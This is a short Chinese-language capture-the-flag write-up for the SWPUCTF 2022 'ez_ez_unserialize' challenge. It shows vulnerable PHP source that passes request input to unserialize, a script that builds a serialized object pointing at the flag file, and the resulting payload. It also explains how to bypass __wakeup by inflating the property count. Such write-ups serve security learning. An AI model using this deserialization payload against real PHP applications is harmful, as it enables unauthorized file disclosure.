复健第二天之[SWPUCTF 2022 新生赛]ez_ez_unserialize

打开题目在线环境直接看到源码:

php 复制代码
<?php
class X
{
    public $x = __FILE__;
    function __construct($x)
    {
        $this->x = $x;
    }
    function __wakeup()
    {
        if ($this->x !== __FILE__) {
            $this->x = __FILE__;
        }
    }
    function __destruct()
    {
        highlight_file($this->x);
        //flag is in fllllllag.php
    }
}
if (isset($_REQUEST['x'])) {
    @unserialize($_REQUEST['x']);
} else {
    highlight_file(__FILE__);
}

审计这些php代码,是反序列化,然后根据这个构造pop链:

php 复制代码
<?php

class X
{
    public $x = 'fllllllag.php';
}

$a = new X;
echo serialize($a);

?>

输出 的反序列化数据为:

*O:1:"X":1:{s:1:"x";s:13:"fllllllag.php";}

这里绕过weakup,修改 "X" 后的 1(成员属性数量) 大于 1(实际数量) 即可。

最后再用GET或者POST 方法传参得到flag。

相关推荐
花青泽7 小时前
子域名基础04_DNS数据与记录
web安全
花青泽10 小时前
第2章_阶段1_准备
web安全
花青泽12 小时前
子域名基础05_Web与网络层
web安全
花青泽13 小时前
子域名挖掘全局流程
web安全
sogw-三叶草️15 小时前
HITCON CTF 2014 — stkof · Unsafe Unlink
网络·安全·web安全·pwn·堆·二进制安全·堆漏洞
Seraphina361 天前
SQLI-labs(一)黑盒全流程
sql·安全·web安全
花青泽1 天前
Web安全信息收集--总
安全·web安全
花青泽1 天前
子域名基础01_地址与域名基础
web安全
花青泽2 天前
子域名基础02_DNS解析流程_简单版
web安全
花青泽2 天前
子域名基础03_DNS解析流程_详细版
web安全